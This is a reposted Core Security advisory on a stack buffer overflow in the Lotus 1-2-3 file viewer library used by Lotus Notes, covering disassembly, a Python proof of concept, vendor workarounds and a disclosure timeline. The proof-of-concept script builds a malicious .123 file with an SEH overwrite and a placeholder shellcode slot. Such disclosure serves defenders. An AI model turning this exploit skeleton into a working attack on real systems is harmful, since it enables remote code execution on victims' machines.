- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Lotus Notes Buffer Overflow in the Lotus WorkSheet File Processor
------------------------------------------------------------------------
SUMMARY
Lotus Notes is "the integrated email, calendar, instant messenger, browser
and business collaboration application developed by IBM to work as a
desktop client in conjunction with IBM s Lotus Domino server application".
The email functionality of Lotus Notes supports previewing and processing
file attachments in various formats. To preview and process files in the
Lotus Worksheet File format (WKS) used by Lotus 1-2-3 the email client
uses a library from a third-party software vendor (Autonomy s Verity
KeyView SDK). Several buffer overflow vulnerabilities were found in the
third-party library used by Lotus Notes to process Lotus 1-2-3 file
attachments.
These vulnerabilities could allow attackers to remotely execute arbitrary
commands on vulnerable systems by attaching a specially crafted file that
triggers exploitation when unsuspecting users attempt to View the
attachment. Exploitation of these vulnerabilities requires user
intervention.
Although these specific vulnerabilities exist on a third party component
the problem is compound by the way Lotus Notes displays information about
attachments, making it easier to elicit unsuspecting assistance from the
users to exploit them. Lotus Notes displays the file type and
corresponding icon based on the attached file s extension rather than the
MIME Content-Type header in the email whereas the view functionality is
handled by the Verity KeyView component which processes the attachment
based on the file contents. Exploitation of these vulnerabilities
requires end-user interaction but the discrepancy described above could
allow an attacker to send a malicious Lotus 1-2-3 file as an attachment
with a seemingly innocuous extension (for example, .JPG or .GIF) that
more easily lure users into viewing it thus making it easier to succeed in
the exploitation attempt.
These vulnerabilities have been discovered and tested using Lotus Notes
and the Verity KeyView SDK components it uses but other applications that
use the Verity KeyView SDK may be also vulnerable.
DETAILS
Vulnerable Systems:
* Lotus Notes version 7.x
* Lotus Notes version 8.x (not confirmed by Core)
* Lotus Notes version 6.5.6 (not confirmed by Core)
* Other software packages using Verity KeyView SDK using vulnerable
versions of l123sr.dll
Technical Details:
Lotus 1-2-3 and Lotus Symphony spreadsheet applications use the Worksheet
File format [1] to persist spreadsheet data on the file system. Lotus
Notes uses a third-party library [2] to process file attachments in the
Lotus Worksheet File format (WKS).
A worksheet file in WKS format is simply a binary representation of the
spreadsheet built using a sequence of binary records in the TLV form
(Type-Length-Value) where both Type and Length are encoded using two
bytes.
There are multiple vulnerabilities in the way the Verity KeyView SDK DLL
processes the TLV records of a worksheet file. These vulnerabilities stem
from lack of proper consistency checks for the stated Length and the
corresponding Value in several record Types.
As an specific example for records of type SRANGE (0x001b) which can
specify arbitrary lengths of data that the library attempt to copy in to a
fixed length buffer in the stack is shown in following disassembled code:
text:02A87FD4 cmp eax, 1Bh
text:02A87FD7 jz loc_2A881C9
..
text:02A881DC lea eax, [ebp+szVulnerableBuffer]
text:02A881E2 push edi ; length of read operation, taken from the file
text:02A881E3 push eax ; stack based buffer
text:02A881E4 mov eax, [ebp+0Ch]
text:02A881E7 push eax
text:02A881E8 call dword ptr [eax+24h] ; read function!
When a field of type SRANGE (0x001b) is read the conditional jump at
0x02A87FD7 (jz 0x2A881C9) is taken. The destination buffer is cleared and
the Length value for this record is read to process it.
At address 0x2A881E2 edi (containing the Length of the TLV record) is
pushed and then the read operation takes place at address 0x2A881E8
reading an arbitrary amount of bytes into a fixed size buffer in the
stack. Thus a malicious Worksheet file can trigger execution of arbitrary
code on vulnerable systems by exploiting the vulnerability using one of
the appropriate exploitation techniques for stack-based buffer overflows.
However, exploitation on a Lotus Notes email client requires that the user
attempts to view the attached file following this steps:
* Select email containing the attachment
* Right-click on attachment
* Select "View" to open the file inside of Lotus Notes.
Unfortunately, users can be lured into performing the steps above due to
the fact that it is possible to send a malicious attachment with a
seemingly innocuous file name and extension such and have the Lotus Note
client show a graphic icon for the attachment that corresponds to the
filename extension and not to the actual contents of the file.
Proof of concept snippets
The following snippet of Python code generates a .123 file that triggers
the bug when it is processed by vulnerable versions of the library. The
proof-of-concept file will only trigger an exception for debugging
purposes (int 3) but it makes it evident that exploitation of the bug in
order to execute any arbitrary code is possible.
from sys import argv
from struct import pack
def createMaliciousFile(filename):
seh_offset = 0x9c4
jumper = 0x06ad890d # pop pop ret ... CHANGE IT! (dll is rebased)
shellcode = '\x90' * 0x400 + '\xCC' # nopsled and int 3
content = '\x00\x00' # header record type
content += '\x1a\x00' # header length
content += '\x05\x10\x04\x00\x00\x00\x00\x00\x09\x00\x00\x01'
content += '\x01\x00\x30\x8d\x01\x0a\x00\x00\x00\x00\x00\x00\x00\x00'
content += '\x1b\x00' # vulnerable record type
payload = ''
payload += '\x90' * (seh_offset - 4) #others too
payload += '\xeb\x06\x90\x90' # jmp six bytes forward
payload += pack('<L', jumper)
payload += shellcode
content += pack('<H', len(payload))
content += payload
fd = open(filename, 'wb')
fd.write(content)
fd.close()
if len(argv) is not 2:
print '[-] Must specify a filename. Remember to change the pop pop ret
address! :)'
else:
createMaliciousFile(argv[1])
Solution/Vendor Information/Workaround
Lotus Notes customers should follow the instructions of the following
support Technote, which outlines the available options based on specific
versions of Lotus Notes:
<http://www.ibm.com/support/docview.wss?rs=475&uid=swg21285600>
http://www.ibm.com/support/docview.wss?rs=475&uid=swg21285600
Workaround 1: Delete the keyview.ini file in the Notes program directory.
This disables ALL viewers. When a user clicks View (for any file), a
dialog box will display with the message "Unable to locate the viewer
configuration file.".
Workaround 2: Delete the problem file l123sr.dll file. When a user tries
to view the specific file type, a dialog box will display with the message
"The viewer display window could not be initialized." All other file types
work without returning the error message.
Workaround 3: Comment out specific lines in keyview.ini for any references
to the problem file (l123sr.dll). To comment a line, you precede it with a
semi-colon (;). When a user tries to view the specific file type, a dialog
box will display with the message "The viewer display window could not be
initialized". For example:
[KVWKBVE]
;81.2.0.5.0=l123sr.dll
;81.2.0.9.0=l123sr.dll
Workaround 4: Filter inbound emails with attachments with potentially
malicious files. Lotus 1-2-3 files are usually associated to MIME
Content-Type headers set to the following strings:
application/lotus-1-2-3
application/lotus123
application/x-lotus123
application/wks
application/x-wks
application/vnd.lotus-1-2-3
Note however that workaround #4 is a simple stop gap measure that could be
circumvented by relatively unsophisticated attackers.
Disclosure Timeline:
* 2007-09-13: Email to IBM AIX security requesting security contact
information for Lotus Notes
* 2007-09-14: Reply from IBM AIX security team with contact information
of the IBM Lotus Notes security team
* 2007-09-17: Email to IBM Lotus Notes security notifying Core s intent
to report the vulnerability in Lotus Notes and Autonomy s KeyView SDK and
requesting an acknowledgement within 2 business days indicating of whether
further communications should be encrypted. Security advisory publication
date set to October 15th. Security contact information for Autonomy s
KeyView requested.
* 2007-09-18: Response from Lotus Notes security providing public PGP key
to encrypt further communications and inquiring is the publication date is
flexible or fixed.
* 2007-09-18: Email from Core including details about the vulnerability
in a draft advisory document. Core indicates that the publication date for
the security advisory is flexible and could be changed (postponed or
brought forward) on the basis of concrete and precise information about
availability of fixes. Security contact information for Autonomy
requested.
* 2007-09-19: Email from Lotus Notes security indicating that the bugs
will be investigated and that will check and get back regarding the
request contact of information for Autonomy.
* 2007-09-20: Email from Lotus Notes Security requesting proof-of-concept
code to validate the finding.
* 2007-09-21: Proof-of-concept code and sample of a malicious file sent
to Lotus Notes Security
* 2007-09-21: Email from Lotus Notes Security indicating that the
proof-of-concept will be passed to the development team and contact
information for Autonomy made available after verification.
* 2007-10-03: Email from Core requesting a status update and reminding
Lotus Notes security that the disclosure date was originally set for
October 15th.
* 2007-10-05: Email from Lotus Notes Security indicating that the
vulnerability has been reproduced and a Lotus Software Problem Report has
been issued. The issue has been logged with Autonomy and that currently
there is no information available about how or when it will be fixed.
* 2007-10-17: Email from Core s Security advisories team requesting a
status update and indicating that the original date planned for
publication of the advisory has already passed without any communication
from IBM regarding the issue, let alone any concrete plans to fix the bug.
The publication date for Core s security advisory has been re-scheduled
for October 30th, 2007. The date remains flexible on the basis of
receiving concrete and specific details about availability of fixes by
Wednesday, October 24th. An up to date copy of the security advisory
provided for comments and suggested workarounds.
* 2007-10-23: Email from Lotus Notes Security indicating that a ticket
had been opened with Autonomy and that since this is a client-side issue
the fix would be provided in one of the future maintenance releases of the
Lotus Notes client. Ongoing work with Autonomy needs to continue before
being able to confirm when the fix will be rolled into the product.
* 2007-10-23: Email from Core s advisory team with follow up questions to
Lotus Notes Security: 1. Is it official policy to include fixes to
client-side vulnerabilities in maintenance releases? 2. What is the
scheduled date for general availability of the next maintenance release?
3. Will the fix to the bugs reported in l123sl.dll be included in the next
maintenance release? Core also highlights that at the same time that Lotus
was notifying Core a maintenance release for Lotus Notes was released,
fixing several bugs that are almost exactly the same as the ones Core
reported [3]. Core indicates that while we appreciate involvement from
Lotus Notes Security and the reassuring statements about how serious are
the bugs taken at Lotus, Core considers concrete details and specific
actions better indicators to assess how serious a vendor is. The fact that
Lotus Notes didn t even notify Core of such a highly relevant upcoming
disclosure, (which included workarounds that could apply to the problem
reported by Core) is a discouraging indicator. Furthermore, since Lotus
Notes still hasn t provided any specific timeline to release fixes and
after analysis the timelines of the third party advisories of the recently
disclosed vulnerabilities, a reasonable assessment based on evidence
indicates and expectation of 10 months from the initial date of report to
the vendor and a 7 months estimation since the vulnerability positive
confirmation date. Based on that and the assessment that addressing the
reported vulnerabilities requires a much faster pace for fixes, Core will
proceed with the advisory release currently scheduled for October 30th,
2007. The workarounds already provided by Lotus for similar
vulnerabilities will be included in Core s advisory. Any official
statements from the Lotus Notes team regarding workaround or availability
of fixes should be received by COB Friday Oct. 26th.
* 2007-10-24: Email from Lotus Notes security indicating that included
statements are not official. Answers to questions from Core s email
provided: 1. Yes, client-side fixes are included in Maint. Releases of
Lotus Notes, Fix Packs are server-based. The bugs reported by core are on
the client. 2. Target dates for maintenance releases provided (end of
2007, March 2008, 2009). 3. Still can t confirm if the fix will be
included and to what extent. Autonomy indicated that will ship a fix in
version 10.3 which is shipping soon. Core was not notified of the planned
release of similar client-side security fixes in the maintenance release
to preserve confidentiality with other vulnerability reporters. Likewise
Lotus Notes did not notify the others of Core s similar report. Three
versions of the Lotus Notes client are addressed by Core s report. Also a
partial chronology of the report timeline was provided.
* 2007-10-26: Confidential email received from Lotus Note Security
* 2007-10-26: Email from Core advisories team to Lotus Notes Security
acknowledging reception of the previous email. Unfortunately since it did
not provide any specific details about a scheduled date for availability
of fixes which is what Core need to consider re-scheduling publication of
its advisory. Core appreciates other party s view regarding what
constitutes responsible disclosure and but does not agree with any
assessments indicating that the company is putting customers at risk. In
fact Core s views are that customer are already at risk due to
vulnerabilities and that it is the lack of effective and timely response
to mitigate a lack of sound security practices in the SDLC what puts
customers at risk. Core s advisory disclosure seek to inform and explain
the situation to vulnerable users and to provide the details necessary to
devise, deploy and test protection countermeasures until the vendor comes
out with an official fix. Core believes that client-side vulnerabilities
are increasingly important and merit the release of stand-alone, out of
cycle patches rather the rolling fixed into maintenance releases. Core
was expecting that fixes would be available within several weeks (rather
than several months) of confirmation of the vulnerability.
* 2007-10-29: Email from Lotus Notes Security indicating that delaying
publication of Core s advisory for 30 days would provide enough time to
release fixed. Coordinated release of fixes and information suggested for
Nov. 27th, 2007. Official statement provided for Core s advisory. Response
from Core is expected by EOD.
* 2007-10-29: Email from Core s advisory team indicating that now that a
specific date for availability of fixes was provided Core is willing to
reschedule publication of the advisory to November 27th, 2007. However, if
there are any indications of the bug being exploited in the wild
information will be released immediately with a Forced Release mode.
* 2007-11-15: Email from Lotus Notes Security asking if we re still on
target for the Nov 27th release and requesting a URL to Core s advisory
and providing a link to Lotus Notes Technote regarding the issue.
Question about how Core would like to be credited in the Technote.
* 2007-11-20: Last email from Lotus notes Security (2007-11-15) resent to
Core s advisories team.
* 2007-11-20: email from Core advisory team acknowledging reception of
previous email and stating that Core is on track for the Nov 27th release.
URL and credit discovery details provided. A brief description of the
planned schedule on publication date included.
* 2007-11-21: Lotus Notes security acknowledges Core s last email
* 2007-11-27: Email from Core s advisories team sent to Lotus Notes
Security with final draft of security advisory CORE-2007-082
* 2007-11-27: Email from Lotus Notes notifying of the release of the
Technote concerning this issue.
* 2007-11-27: Email from Core s advisories team sent to Lotus Notes
Security with final draft of security advisory CORE-2007-0821
* 2007-11-27: CORE-2007-0821 advisory published
Reference:
[1] Lotus Staff, Worksheet File Formats, Addison-Wesley Longman Publishing
Co., Inc., Boston, MA, 1987.
[2] Verity KeyView SDK: <http://www.verity.com/content/Products/KeyView/>
http://www.verity.com/content/Products/KeyView/
[3] Client-side vulnerabilities disclosed in Lotus Notes on October 23rd,
2007
<http://www-1.ibm.com/support/docview.wss?uid=swg21271111>
http://www-1.ibm.com/support/docview.wss?uid=swg21271111
<http://www-1.ibm.com/support/docview.wss?uid=swg21272836>
http://www-1.ibm.com/support/docview.wss?uid=swg21272836
<http://www-1.ibm.com/support/docview.wss?uid=swg21272930>
http://www-1.ibm.com/support/docview.wss?uid=swg21272930
<http://www-1.ibm.com/support/docview.wss?uid=swg21270884>
http://www-1.ibm.com/support/docview.wss?uid=swg21270884
<http://www-1.ibm.com/support/docview.wss?uid=swg21257030>
http://www-1.ibm.com/support/docview.wss?uid=swg21257030
<http://www-1.ibm.com/support/docview.wss?uid=swg21271957>
http://www-1.ibm.com/support/docview.wss?uid=swg21271957
ADDITIONAL INFORMATION
The information has been provided by <mailto:advisories@coresecurity.com>
Core Security Technologies Advisories.
The original article can be found at:
<http://www.coresecurity.com/index.php5?action=item&id=2008>
http://www.coresecurity.com/index.php5?action=item&id=2008
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
No comments:
Post a Comment